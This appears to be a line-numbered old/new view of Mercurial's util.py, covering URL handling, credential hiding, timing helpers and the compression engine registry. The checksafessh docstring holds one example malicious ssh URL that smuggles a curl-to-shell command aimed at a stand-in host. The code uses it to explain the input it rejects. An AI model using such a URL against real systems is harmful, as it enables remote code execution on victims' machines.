2768 if self.host:
2766 if not (self.host.startswith('[') and self.host.endswith(']')):
2769 if not (self.host.startswith('[') and self.host.endswith(']')):
2767 s += urlreq.quote(self.host)
2770 s += urlreq.quote(self.host)
2768 else:
2771 else:
2769 s += self.host
2772 s += self.host
2770 if self.port:
2773 if self.port:
2771 s += ':' + urlreq.quote(self.port)
2774 s += ':' + urlreq.quote(self.port)
2772 if self.host:
2775 if self.host:
2773 s += '/'
2776 s += '/'
2774 if self.path:
2777 if self.path:
2775 # TODO: similar to the query string, we should not unescape the
2778 # TODO: similar to the query string, we should not unescape the
2776 # path when we store it, the path might contain '%2f' = '/',
2779 # path when we store it, the path might contain '%2f' = '/',
2777 # which we should *not* escape.
2780 # which we should *not* escape.
2778 s += urlreq.quote(self.path, safe=self._safepchars)
2781 s += urlreq.quote(self.path, safe=self._safepchars)
2779 if self.query:
2782 if self.query:
2780 # we store the query in escaped form.
2783 # we store the query in escaped form.
2781 s += '?' + self.query
2784 s += '?' + self.query
2782 if self.fragment is not None:
2785 if self.fragment is not None:
2783 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2786 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2784 return s
2787 return s
2785
2788
2786 __str__ = encoding.strmethod(__bytes__)
2789 __str__ = encoding.strmethod(__bytes__)
2787
2790
2788 def authinfo(self):
2791 def authinfo(self):
2789 user, passwd = self.user, self.passwd
2792 user, passwd = self.user, self.passwd
2790 try:
2793 try:
2791 self.user, self.passwd = None, None
2794 self.user, self.passwd = None, None
2792 s = bytes(self)
2795 s = bytes(self)
2793 finally:
2796 finally:
2794 self.user, self.passwd = user, passwd
2797 self.user, self.passwd = user, passwd
2795 if not self.user:
2798 if not self.user:
2796 return (s, None)
2799 return (s, None)
2797 # authinfo[1] is passed to urllib2 password manager, and its
2800 # authinfo[1] is passed to urllib2 password manager, and its
2798 # URIs must not contain credentials. The host is passed in the
2801 # URIs must not contain credentials. The host is passed in the
2799 # URIs list because Python < 2.4.3 uses only that to search for
2802 # URIs list because Python < 2.4.3 uses only that to search for
2800 # a password.
2803 # a password.
2801 return (s, (None, (s, self.host),
2804 return (s, (None, (s, self.host),
2802 self.user, self.passwd or ''))
2805 self.user, self.passwd or ''))
2803
2806
2804 def isabs(self):
2807 def isabs(self):
2805 if self.scheme and self.scheme != 'file':
2808 if self.scheme and self.scheme != 'file':
2806 return True # remote URL
2809 return True # remote URL
2807 if hasdriveletter(self.path):
2810 if hasdriveletter(self.path):
2808 return True # absolute for our purposes - can't be joined()
2811 return True # absolute for our purposes - can't be joined()
2809 if self.path.startswith(br'\\'):
2812 if self.path.startswith(br'\\'):
2810 return True # Windows UNC path
2813 return True # Windows UNC path
2811 if self.path.startswith('/'):
2814 if self.path.startswith('/'):
2812 return True # POSIX-style
2815 return True # POSIX-style
2813 return False
2816 return False
2814
2817
2815 def localpath(self):
2818 def localpath(self):
2816 if self.scheme == 'file' or self.scheme == 'bundle':
2819 if self.scheme == 'file' or self.scheme == 'bundle':
2817 path = self.path or '/'
2820 path = self.path or '/'
2818 # For Windows, we need to promote hosts containing drive
2821 # For Windows, we need to promote hosts containing drive
2819 # letters to paths with drive letters.
2822 # letters to paths with drive letters.
2820 if hasdriveletter(self._hostport):
2823 if hasdriveletter(self._hostport):
2821 path = self._hostport + '/' + self.path
2824 path = self._hostport + '/' + self.path
2822 elif (self.host is not None and self.path
2825 elif (self.host is not None and self.path
2823 and not hasdriveletter(path)):
2826 and not hasdriveletter(path)):
2824 path = '/' + path
2827 path = '/' + path
2825 return path
2828 return path
2826 return self._origpath
2829 return self._origpath
2827
2830
2828 def islocal(self):
2831 def islocal(self):
2829 '''whether localpath will return something that posixfile can open'''
2832 '''whether localpath will return something that posixfile can open'''
2830 return (not self.scheme or self.scheme == 'file'
2833 return (not self.scheme or self.scheme == 'file'
2831 or self.scheme == 'bundle')
2834 or self.scheme == 'bundle')
2832
2835
2833 def hasscheme(path):
2836 def hasscheme(path):
2834 return bool(url(path).scheme)
2837 return bool(url(path).scheme)
2835
2838
2836 def hasdriveletter(path):
2839 def hasdriveletter(path):
2837 return path and path[1:2] == ':' and path[0:1].isalpha()
2840 return path and path[1:2] == ':' and path[0:1].isalpha()
2838
2841
2839 def urllocalpath(path):
2842 def urllocalpath(path):
2840 return url(path, parsequery=False, parsefragment=False).localpath()
2843 return url(path, parsequery=False, parsefragment=False).localpath()
2841
2844
2842 def checksafessh(path):
2845 def checksafessh(path):
2843 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2846 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2844
2847
2845 This is a sanity check for ssh urls. ssh will parse the first item as
2848 This is a sanity check for ssh urls. ssh will parse the first item as
2846 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2849 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2847 Let's prevent these potentially exploited urls entirely and warn the
2850 Let's prevent these potentially exploited urls entirely and warn the
2848 user.
2851 user.
2849
2852
2850 Raises an error.Abort when the url is unsafe.
2853 Raises an error.Abort when the url is unsafe.
2851 """
2854 """
2852 path = urlreq.unquote(path)
2855 path = urlreq.unquote(path)
2853 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2856 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2854 raise error.Abort(_('potentially unsafe url: %r') %
2857 raise error.Abort(_('potentially unsafe url: %r') %
2855 (pycompat.bytestr(path),))
2858 (pycompat.bytestr(path),))
2856
2859
2857 def hidepassword(u):
2860 def hidepassword(u):
2858 '''hide user credential in a url string'''
2861 '''hide user credential in a url string'''
2859 u = url(u)
2862 u = url(u)
2860 if u.passwd:
2863 if u.passwd:
2861 u.passwd = '***'
2864 u.passwd = '***'
2862 return bytes(u)
2865 return bytes(u)
2863
2866
2864 def removeauth(u):
2867 def removeauth(u):
2865 '''remove all authentication information from a url string'''
2868 '''remove all authentication information from a url string'''
2866 u = url(u)
2869 u = url(u)
2867 u.user = u.passwd = None
2870 u.user = u.passwd = None
2868 return bytes(u)
2871 return bytes(u)
2869
2872
2870 timecount = unitcountfn(
2873 timecount = unitcountfn(
2871 (1, 1e3, _('%.0f s')),
2874 (1, 1e3, _('%.0f s')),
2872 (100, 1, _('%.1f s')),
2875 (100, 1, _('%.1f s')),
2873 (10, 1, _('%.2f s')),
2876 (10, 1, _('%.2f s')),
2874 (1, 1, _('%.3f s')),
2877 (1, 1, _('%.3f s')),
2875 (100, 0.001, _('%.1f ms')),
2878 (100, 0.001, _('%.1f ms')),
2876 (10, 0.001, _('%.2f ms')),
2879 (10, 0.001, _('%.2f ms')),
2877 (1, 0.001, _('%.3f ms')),
2880 (1, 0.001, _('%.3f ms')),
2878 (100, 0.000001, _('%.1f us')),
2881 (100, 0.000001, _('%.1f us')),
2879 (10, 0.000001, _('%.2f us')),
2882 (10, 0.000001, _('%.2f us')),
2880 (1, 0.000001, _('%.3f us')),
2883 (1, 0.000001, _('%.3f us')),
2881 (100, 0.000000001, _('%.1f ns')),
2884 (100, 0.000000001, _('%.1f ns')),
2882 (10, 0.000000001, _('%.2f ns')),
2885 (10, 0.000000001, _('%.2f ns')),
2883 (1, 0.000000001, _('%.3f ns')),
2886 (1, 0.000000001, _('%.3f ns')),
2884 )
2887 )
2885
2888
2886 _timenesting = [0]
2889 _timenesting = [0]
2887
2890
2888 def timed(func):
2891 def timed(func):
2889 '''Report the execution time of a function call to stderr.
2892 '''Report the execution time of a function call to stderr.
2890
2893
2891 During development, use as a decorator when you need to measure
2894 During development, use as a decorator when you need to measure
2892 the cost of a function, e.g. as follows:
2895 the cost of a function, e.g. as follows:
2893
2896
2894 @util.timed
2897 @util.timed
2895 def foo(a, b, c):
2898 def foo(a, b, c):
2896 pass
2899 pass
2897 '''
2900 '''
2898
2901
2899 def wrapper(*args, **kwargs):
2902 def wrapper(*args, **kwargs):
2900 start = timer()
2903 start = timer()
2901 indent = 2
2904 indent = 2
2902 _timenesting[0] += indent
2905 _timenesting[0] += indent
2903 try:
2906 try:
2904 return func(*args, **kwargs)
2907 return func(*args, **kwargs)
2905 finally:
2908 finally:
2906 elapsed = timer() - start
2909 elapsed = timer() - start
2907 _timenesting[0] -= indent
2910 _timenesting[0] -= indent
2908 stderr.write('%s%s: %s\n' %
2911 stderr.write('%s%s: %s\n' %
2909 (' ' * _timenesting[0], func.__name__,
2912 (' ' * _timenesting[0], func.__name__,
2910 timecount(elapsed)))
2913 timecount(elapsed)))
2911 return wrapper
2914 return wrapper
2912
2915
2913 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2916 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2914 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2917 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2915
2918
2916 def sizetoint(s):
2919 def sizetoint(s):
2917 '''Convert a space specifier to a byte count.
2920 '''Convert a space specifier to a byte count.
2918
2921
2919 >>> sizetoint(b'30')
2922 >>> sizetoint(b'30')
2920 30
2923 30
2921 >>> sizetoint(b'2.2kb')
2924 >>> sizetoint(b'2.2kb')
2922 2252
2925 2252
2923 >>> sizetoint(b'6M')
2926 >>> sizetoint(b'6M')
2924 6291456
2927 6291456
2925 '''
2928 '''
2926 t = s.strip().lower()
2929 t = s.strip().lower()
2927 try:
2930 try:
2928 for k, u in _sizeunits:
2931 for k, u in _sizeunits:
2929 if t.endswith(k):
2932 if t.endswith(k):
2930 return int(float(t[:-len(k)]) * u)
2933 return int(float(t[:-len(k)]) * u)
2931 return int(t)
2934 return int(t)
2932 except ValueError:
2935 except ValueError:
2933 raise error.ParseError(_("couldn't parse size: %s") % s)
2936 raise error.ParseError(_("couldn't parse size: %s") % s)
2934
2937
2935 class hooks(object):
2938 class hooks(object):
2936 '''A collection of hook functions that can be used to extend a
2939 '''A collection of hook functions that can be used to extend a
2937 function's behavior. Hooks are called in lexicographic order,
2940 function's behavior. Hooks are called in lexicographic order,
2938 based on the names of their sources.'''
2941 based on the names of their sources.'''
2939
2942
2940 def __init__(self):
2943 def __init__(self):
2941 self._hooks = []
2944 self._hooks = []
2942
2945
2943 def add(self, source, hook):
2946 def add(self, source, hook):
2944 self._hooks.append((source, hook))
2947 self._hooks.append((source, hook))
2945
2948
2946 def __call__(self, *args):
2949 def __call__(self, *args):
2947 self._hooks.sort(key=lambda x: x[0])
2950 self._hooks.sort(key=lambda x: x[0])
2948 results = []
2951 results = []
2949 for source, hook in self._hooks:
2952 for source, hook in self._hooks:
2950 results.append(hook(*args))
2953 results.append(hook(*args))
2951 return results
2954 return results
2952
2955
2953 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2956 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2954 '''Yields lines for a nicely formatted stacktrace.
2957 '''Yields lines for a nicely formatted stacktrace.
2955 Skips the 'skip' last entries, then return the last 'depth' entries.
2958 Skips the 'skip' last entries, then return the last 'depth' entries.
2956 Each file+linenumber is formatted according to fileline.
2959 Each file+linenumber is formatted according to fileline.
2957 Each line is formatted according to line.
2960 Each line is formatted according to line.
2958 If line is None, it yields:
2961 If line is None, it yields:
2959 length of longest filepath+line number,
2962 length of longest filepath+line number,
2960 filepath+linenumber,
2963 filepath+linenumber,
2961 function
2964 function
2962
2965
2963 Not be used in production code but very convenient while developing.
2966 Not be used in production code but very convenient while developing.
2964 '''
2967 '''
2965 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2968 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2966 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2969 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2967 ][-depth:]
2970 ][-depth:]
2968 if entries:
2971 if entries:
2969 fnmax = max(len(entry[0]) for entry in entries)
2972 fnmax = max(len(entry[0]) for entry in entries)
2970 for fnln, func in entries:
2973 for fnln, func in entries:
2971 if line is None:
2974 if line is None:
2972 yield (fnmax, fnln, func)
2975 yield (fnmax, fnln, func)
2973 else:
2976 else:
2974 yield line % (fnmax, fnln, func)
2977 yield line % (fnmax, fnln, func)
2975
2978
2976 def debugstacktrace(msg='stacktrace', skip=0,
2979 def debugstacktrace(msg='stacktrace', skip=0,
2977 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2980 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2978 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2981 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2979 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2982 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2980 By default it will flush stdout first.
2983 By default it will flush stdout first.
2981 It can be used everywhere and intentionally does not require an ui object.
2984 It can be used everywhere and intentionally does not require an ui object.
2982 Not be used in production code but very convenient while developing.
2985 Not be used in production code but very convenient while developing.
2983 '''
2986 '''
2984 if otherf:
2987 if otherf:
2985 otherf.flush()
2988 otherf.flush()
2986 f.write('%s at:\n' % msg.rstrip())
2989 f.write('%s at:\n' % msg.rstrip())
2987 for line in getstackframes(skip + 1, depth=depth):
2990 for line in getstackframes(skip + 1, depth=depth):
2988 f.write(line)
2991 f.write(line)
2989 f.flush()
2992 f.flush()
2990
2993
2991 class dirs(object):
2994 class dirs(object):
2992 '''a multiset of directory names from a dirstate or manifest'''
2995 '''a multiset of directory names from a dirstate or manifest'''
2993
2996
2994 def __init__(self, map, skip=None):
2997 def __init__(self, map, skip=None):
2995 self._dirs = {}
2998 self._dirs = {}
2996 addpath = self.addpath
2999 addpath = self.addpath
2997 if safehasattr(map, 'iteritems') and skip is not None:
3000 if safehasattr(map, 'iteritems') and skip is not None:
2998 for f, s in map.iteritems():
3001 for f, s in map.iteritems():
2999 if s[0] != skip:
3002 if s[0] != skip:
3000 addpath(f)
3003 addpath(f)
3001 else:
3004 else:
3002 for f in map:
3005 for f in map:
3003 addpath(f)
3006 addpath(f)
3004
3007
3005 def addpath(self, path):
3008 def addpath(self, path):
3006 dirs = self._dirs
3009 dirs = self._dirs
3007 for base in finddirs(path):
3010 for base in finddirs(path):
3008 if base in dirs:
3011 if base in dirs:
3009 dirs[base] += 1
3012 dirs[base] += 1
3010 return
3013 return
3011 dirs[base] = 1
3014 dirs[base] = 1
3012
3015
3013 def delpath(self, path):
3016 def delpath(self, path):
3014 dirs = self._dirs
3017 dirs = self._dirs
3015 for base in finddirs(path):
3018 for base in finddirs(path):
3016 if dirs[base] > 1:
3019 if dirs[base] > 1:
3017 dirs[base] -= 1
3020 dirs[base] -= 1
3018 return
3021 return
3019 del dirs[base]
3022 del dirs[base]
3020
3023
3021 def __iter__(self):
3024 def __iter__(self):
3022 return iter(self._dirs)
3025 return iter(self._dirs)
3023
3026
3024 def __contains__(self, d):
3027 def __contains__(self, d):
3025 return d in self._dirs
3028 return d in self._dirs
3026
3029
3027 if safehasattr(parsers, 'dirs'):
3030 if safehasattr(parsers, 'dirs'):
3028 dirs = parsers.dirs
3031 dirs = parsers.dirs
3029
3032
3030 def finddirs(path):
3033 def finddirs(path):
3031 pos = path.rfind('/')
3034 pos = path.rfind('/')
3032 while pos != -1:
3035 while pos != -1:
3033 yield path[:pos]
3036 yield path[:pos]
3034 pos = path.rfind('/', 0, pos)
3037 pos = path.rfind('/', 0, pos)
3035
3038
3036 # compression code
3039 # compression code
3037
3040
3038 SERVERROLE = 'server'
3041 SERVERROLE = 'server'
3039 CLIENTROLE = 'client'
3042 CLIENTROLE = 'client'
3040
3043
3041 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3044 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3042 (u'name', u'serverpriority',
3045 (u'name', u'serverpriority',
3043 u'clientpriority'))
3046 u'clientpriority'))
3044
3047
3045 class compressormanager(object):
3048 class compressormanager(object):
3046 """Holds registrations of various compression engines.
3049 """Holds registrations of various compression engines.
3047
3050
3048 This class essentially abstracts the differences between compression
3051 This class essentially abstracts the differences between compression
3049 engines to allow new compression formats to be added easily, possibly from
3052 engines to allow new compression formats to be added easily, possibly from
3050 extensions.
3053 extensions.
3051
3054
3052 Compressors are registered against the global instance by calling its
3055 Compressors are registered against the global instance by calling its
3053 ``register()`` method.
3056 ``register()`` method.
3054 """
3057 """
3055 def __init__(self):
3058 def __init__(self):
3056 self._engines = {}
3059 self._engines = {}
3057 # Bundle spec human name to engine name.
3060 # Bundle spec human name to engine name.
3058 self._bundlenames = {}
3061 self._bundlenames = {}
3059 # Internal bundle identifier to engine name.
3062 # Internal bundle identifier to engine name.
3060 self._bundletypes = {}
3063 self._bundletypes = {}
3061 # Revlog header to engine name.
3064 # Revlog header to engine name.
3062 self._revlogheaders = {}
3065 self._revlogheaders = {}
3063 # Wire proto identifier to engine name.
3066 # Wire proto identifier to engine name.
3064 self._wiretypes = {}
3067 self._wiretypes = {}
3065
3068
3066 def __getitem__(self, key):
3069 def __getitem__(self, key):
3067 return self._engines[key]
3070 return self._engines[key]
3068
3071
3069 def __contains__(self, key):
3072 def __contains__(self, key):
3070 return key in self._engines
3073 return key in self._engines
3071
3074
3072 def __iter__(self):
3075 def __iter__(self):
3073 return iter(self._engines.keys())
3076 return iter(self._engines.keys())
3074
3077
3075 def register(self, engine):
3078 def register(self, engine):
3076 """Register a compression engine with the manager.
3079 """Register a compression engine with the manager.
3077
3080
3078 The argument must be a ``compressionengine`` instance.
3081 The argument must be a ``compressionengine`` instance.
3079 """
3082 """
3080 if not isinstance(engine, compressionengine):
3083 if not isinstance(engine, compressionengine):
3081 raise ValueError(_('argument must be a compressionengine'))
3084 raise ValueError(_('argument must be a compressionengine'))
3082
3085
3083 name = engine.name()
3086 name = engine.name()
3084
3087
3085 if name in self._engines:
3088 if name in self._engines:
3086 raise error.Abort(_('compression engine %s already registered') %
3089 raise error.Abort(_('compression engine %s already registered') %
3087 name)
3090 name)
3088
3091
3089 bundleinfo = engine.bundletype()
3092 bundleinfo = engine.bundletype()
3090 if bundleinfo:
3093 if bundleinfo:
3091 bundlename, bundletype = bundleinfo
3094 bundlename, bundletype = bundleinfo
3092
3095
3093 if bundlename in self._bundlenames:
3096 if bundlename in self._bundlenames:
3094 raise error.Abort(_('bundle name %s already registered') %
3097 raise error.Abort(_('bundle name %s already registered') %
3095 bundlename)
3098 bundlename)
3096 if bundletype in self._bundletypes:
3099 if bundletype in self._bundletypes:
3097 raise error.Abort(_('bundle type %s already registered by %s') %
3100 raise error.Abort(_('bundle type %s already registered by %s') %
3098 (bundletype, self._bundletypes[bundletype]))
3101 (bundletype, self._bundletypes[bundletype]))
3099
3102
3100 # No external facing name declared.
3103 # No external facing name declared.
3101 if bundlename:
3104 if bundlename:
3102 self._bundlenames[bundlename] = name
3105 self._bundlenames[bundlename] = name
3103
3106
3104 self._bundletypes[bundletype] = name
3107 self._bundletypes[bundletype] = name
3105
3108
3106 wiresupport = engine.wireprotosupport()
3109 wiresupport = engine.wireprotosupport()
3107 if wiresupport:
3110 if wiresupport:
3108 wiretype = wiresupport.name
3111 wiretype = wiresupport.name
3109 if wiretype in self._wiretypes:
3112 if wiretype in self._wiretypes:
3110 raise error.Abort(_('wire protocol compression %s already '
3113 raise error.Abort(_('wire protocol compression %s already '
3111 'registered by %s') %
3114 'registered by %s') %
3112 (wiretype, self._wiretypes[wiretype]))
3115 (wiretype, self._wiretypes[wiretype]))
3113
3116
3114 self._wiretypes[wiretype] = name
3117 self._wiretypes[wiretype] = name
3115
3118
3116 revlogheader = engine.revlogheader()
3119 revlogheader = engine.revlogheader()
3117 if revlogheader and revlogheader in self._revlogheaders:
3120 if revlogheader and revlogheader in self._revlogheaders:
3118 raise error.Abort(_('revlog header %s already registered by %s') %
3121 raise error.Abort(_('revlog header %s already registered by %s') %
3119 (revlogheader, self._revlogheaders[revlogheader]))
3122 (revlogheader, self._revlogheaders[revlogheader]))
3120
3123
3121 if revlogheader:
3124 if revlogheader:
3122 self._revlogheaders[revlogheader] = name
3125 self._revlogheaders[revlogheader] = name
3123
3126
3124 self._engines[name] = engine
3127 self._engines[name] = engine
3125
3128
3126 @property
3129 @property
3127 def supportedbundlenames(self):
3130 def supportedbundlenames(self):
3128 return set(self._bundlenames.keys())
3131 return set(self._bundlenames.keys())
3129
3132
3130 @property
3133 @property
3131 def supportedbundletypes(self):
3134 def supportedbundletypes(self):
3132 return set(self._bundletypes.keys())
3135 return set(self._bundletypes.keys())
3133
3136
3134 def forbundlename(self, bundlename):
3137 def forbundlename(self, bundlename):
3135 """Obtain a compression engine registered to a bundle name.
3138 """Obtain a compression engine registered to a bundle name.
3136
3139
3137 Will raise KeyError if the bundle type isn't registered.
3140 Will raise KeyError if the bundle type isn't registered.
3138
3141
3139 Will abort if the engine is known but not available.
3142 Will abort if the engine is known but not available.
3140 """
3143 """
3141 engine = self._engines[self._bundlenames[bundlename]]
3144 engine = self._engines[self._bundlenames[bundlename]]
3142 if not engine.available():
3145 if not engine.available():
3143 raise error.Abort(_('compression engine %s could not be loaded') %
3146 raise error.Abort(_('compression engine %s could not be loaded') %
3144 engine.name())
3147 engine.name())
3145 return engine
3148 return engine
3146
3149
3147 def forbundletype(self, bundletype):
3150 def forbundletype(self, bundletype):
3148 """Obtain a compression engine registered to a bundle type.
3151 """Obtain a compression engine registered to a bundle type.
3149
3152
3150 Will raise KeyError if the bundle type isn't registered.
3153 Will raise KeyError if the bundle type isn't registered.
3151
3154
3152 Will abort if the engine is known but not available.
3155 Will abort if the engine is known but not available.
3153 """
3156 """
3154 engine = self._engines[self._bundletypes[bundletype]]
3157 engine = self._engines[self._bundletypes[bundletype]]
3155 if not engine.available():
3158 if not engine.available():
3156 raise error.Abort(_('compression engine %s could not be loaded') %
3159 raise error.Abort(_('compression engine %s could not be loaded') %
3157 engine.name())
3160 engine.name())
3158 return engine
3161 return engine
3159
3162
3160 def supportedwireengines(self, role, onlyavailable=True):
3163 def supportedwireengines(self, role, onlyavailable=True):
3161 """Obtain compression engines that support the wire protocol.
3164 """Obtain compression engines that support the wire protocol.
3162
3165
3163 Returns a list of engines in prioritized order, most desired first.
3166 Returns a list of engines in prioritized order, most desired first.
3164
3167
3165 If ``onlyavailable`` is set, filter out engines that can't be
3168 If ``onlyavailable`` is set, filter out engines that can't be
3166 loaded.
3169 loaded.
3167 """
3170 """
3168 assert role in (SERVERROLE, CLIENTROLE)
3171 assert role in (SERVERROLE, CLIENTROLE)
3169
3172
3170 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3173 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3171
3174
3172 engines = [self._engines[e] for e in self._wiretypes.values()]
3175 engines = [self._engines[e] for e in self._wiretypes.values()]
3173 if onlyavailable:
3176 if onlyavailable:
3174 engines = [e for e in engines if e.available()]
3177 engines = [e for e in engines if e.available()]
3175
3178
3176 def getkey(e):
3179 def getkey(e):
3177 # Sort first by priority, highest first. In case of tie, sort
3180 # Sort first by priority, highest first. In case of tie, sort
3178 # alphabetically. This is arbitrary, but ensures output is
3181 # alphabetically. This is arbitrary, but ensures output is
3179 # stable.
3182 # stable.
3180 w = e.wireprotosupport()
3183 w = e.wireprotosupport()
3181 return -1 * getattr(w, attr), w.name
3184 return -1 * getattr(w, attr), w.name
3182
3185
3183 return list(sorted(engines, key=getkey))
3186 return list(sorted(engines, key=getkey))
3184
3187
3185 def forwiretype(self, wiretype):
3188 def forwiretype(self, wiretype):
3186 engine = self._engines[self._wiretypes[wiretype]]
3189 engine = self._engines[self._wiretypes[wiretype]]
3187 if not engine.available():
3190 if not engine.available():
3188 raise error.Abort(_('compression engine %s could not be loaded') %
3191 raise error.Abort(_('compression engine %s could not be loaded') %
3189 engine.name())
3192 engine.name())
3190 return engine
3193 return engine
3191
3194
3192 def forrevlogheader(self, header):
3195 def forrevlogheader(self, header):
3193 """Obtain a compression engine registered to a revlog header.
3196 """Obtain a compression engine registered to a revlog header.
3194
3197
3195 Will raise KeyError if the revlog header value isn't registered.
3198 Will raise KeyError if the revlog header value isn't registered.
3196 """
3199 """
3197 return self._engines[self._revlogheaders[header]]
3200 return self._engines[self._revlogheaders[header]]
3198
3201
3199 compengines = compressormanager()
3202 compengines = compressormanager()
3200
3203
3201 class compressionengine(object):
3204 class compressionengine(object):
3202 """Base class for compression engines.
3205 """Base class for compression engines.
3203
3206
3204 Compression engines must implement the interface defined by this class.
3207 Compression engines must implement the interface defined by this class.
3205 """
3208 """
3206 def name(self):
3209 def name(self):
3207 """Returns the name of the compression engine.
3210 """Returns the name of the compression engine.
3208
3211
3209 This is the key the engine is registered under.
3212 This is the key the engine is registered under.
3210
3213
3211 This method must be implemented.
3214 This method must be implemented.
3212 """
3215 """
3213 raise NotImplementedError()
3216 raise NotImplementedError()
3214
3217
3215 def available(self):
3218 def available(self):
3216 """Whether the compression engine is available.
3219 """Whether the compression engine is available.
3217
3220
3218 The intent of this method is to allow optional compression engines
3221 The intent of this method is to allow optional compression engines
3219 that may not be available in all installations (such as engines relying
3222 that may not be available in all installations (such as engines relying
3220 on C extensions that may not be present).
3223 on C extensions that may not be present).
3221 """
3224 """
3222 return True
3225 return True
3223
3226
3224 def bundletype(self):
3227 def bundletype(self):
3225 """Describes bundle identifiers for this engine.
3228 """Describes bundle identifiers for this engine.
3226
3229
3227 If this compression engine isn't supported for bundles, returns None.
3230 If this compression engine isn't supported for bundles, returns None.
3228
3231
3229 If this engine can be used for bundles, returns a 2-tuple of strings of
3232 If this engine can be used for bundles, returns a 2-tuple of strings of
3230 the user-facing "bundle spec" compression name and an internal
3233 the user-facing "bundle spec" compression name and an internal
3231 identifier used to denote the compression format within bundles. To
3234 identifier used to denote the compression format within bundles. To
3232 exclude the name from external usage, set the first element to ``None``.
3235 exclude the name from external usage, set the first element to ``None``.
3233
3236
3234 If bundle compression is supported, the class must also implement
3237 If bundle compression is supported, the class must also implement
3235 ``compressstream`` and `decompressorreader``.
3238 ``compressstream`` and `decompressorreader``.
3236
3239
3237 The docstring of this method is used in the help system to tell users
3240 The docstring of this method is used in the help system to tell users
3238 about this engine.
3241 about this engine.
3239 """
3242 """
3240 return None
3243 return None
3241
3244
3242 def wireprotosupport(self):
3245 def wireprotosupport(self):
3243 """Declare support for this compression format on the wire protocol.
3246 """Declare support for this compression format on the wire protocol.
3244
3247
3245 If this compression engine isn't supported for compressing wire
3248 If this compression engine isn't supported for compressing wire
3246 protocol payloads, returns None.
3249 protocol payloads, returns None.
3247
3250
3248 Otherwise, returns ``compenginewireprotosupport`` with the following
3251 Otherwise, returns ``compenginewireprotosupport`` with the following
3249 fields:
3252 fields:
3250
3253
3251 * String format identifier
3254 * String format identifier
3252 * Integer priority for the server
3255 * Integer priority for the server
3253 * Integer priority for the client
3256 * Integer priority for the client
3254
3257
3255 The integer priorities are used to order the advertisement of format
3258 The integer priorities are used to order the advertisement of format
3256 support by server and client. The highest integer is advertised
3259 support by server and client. The highest integer is advertised
3257 first. Integers with non-positive values aren't advertised.
3260 first. Integers with non-positive values aren't advertised.
3258
3261
3259 The priority values are somewhat arbitrary and only used for default
3262 The priority values are somewhat arbitrary and only used for default
3260 ordering. The relative order can be changed via config options.
3263 ordering. The relative order can be changed via config options.
3261
3264
3262 If wire protocol compression is supported, the class must also implement
3265 If wire protocol compression is supported, the class must also implement
3263 ``compressstream`` and ``decompressorreader``.
3266 ``compressstream`` and ``decompressorreader``.
3264 """
3267 """
3265 return None
3268 return None
3266
3269
3267 def revlogheader(self):
3270 def revlogheader(self):
3268 """Header added to revlog chunks that identifies this engine.
3271 """Header added to revlog chunks that identifies this engine.
3269
3272
3270 If this engine can be used to compress revlogs, this method should
3273 If this engine can be used to compress revlogs, this method should
3271 return the bytes used to identify chunks compressed with this engine.
3274 return the bytes used to identify chunks compressed with this engine.
3272 Else, the method should return ``None`` to indicate it does not
3275 Else, the method should return ``None`` to indicate it does not
3273 participate in revlog compression.
3276 participate in revlog compression.
3274 """
3277 """
3275 return None
3278 return None
3276
3279
3277 def compressstream(self, it, opts=None):
3280 def compressstream(self, it, opts=None):
3278 """Compress an iterator of chunks.
3281 """Compress an iterator of chunks.
3279
3282
3280 The method receives an iterator (ideally a generator) of chunks of
3283 The method receives an iterator (ideally a generator) of chunks of
3281 bytes to be compressed. It returns an iterator (ideally a generator)
3284 bytes to be compressed. It returns an iterator (ideally a generator)
3282 of bytes of chunks representing the compressed output.
3285 of bytes of chunks representing the compressed output.
3283
3286
3284 Optionally accepts an argument defining how to perform compression.
3287 Optionally accepts an argument defining how to perform compression.
3285 Each engine treats this argument differently.
3288 Each engine treats this argument differently.
3286 """
3289 """
3287 raise NotImplementedError()
3290 raise NotImplementedError()
3288
3291
3289 def decompressorreader(self, fh):
3292 def decompressorreader(self, fh):
3290 """Perform decompression on a file object.
3293 """Perform decompression on a file object.
3291
3294
3292 Argument is an object with a ``read(size)`` method that returns
3295 Argument is an object with a ``read(size)`` method that returns
3293 compressed data. Return value is an object with a ``read(size)`` that
3296 compressed data. Return value is an object with a ``read(size)`` that
3294 returns uncompressed data.
3297 returns uncompressed data.
3295 """
3298 """
3296 raise NotImplementedError()
3299 raise NotImplementedError()
3297
3300
3298 def revlogcompressor(self, opts=None):
3301 def revlogcompressor(self, opts=None):
3299 """Obtain an object that can be used to compress revlog entries.
3302 """Obtain an object that can be used to compress revlog entries.
3300
3303
3301 The object has a ``compress(data)`` method that compresses binary
3304 The object has a ``compress(data)`` method that compresses binary
3302 data. This method returns compressed binary data or ``None`` if
3305 data. This method returns compressed binary data or ``None`` if
3303 the data could not be compressed (too small, not compressible, etc).
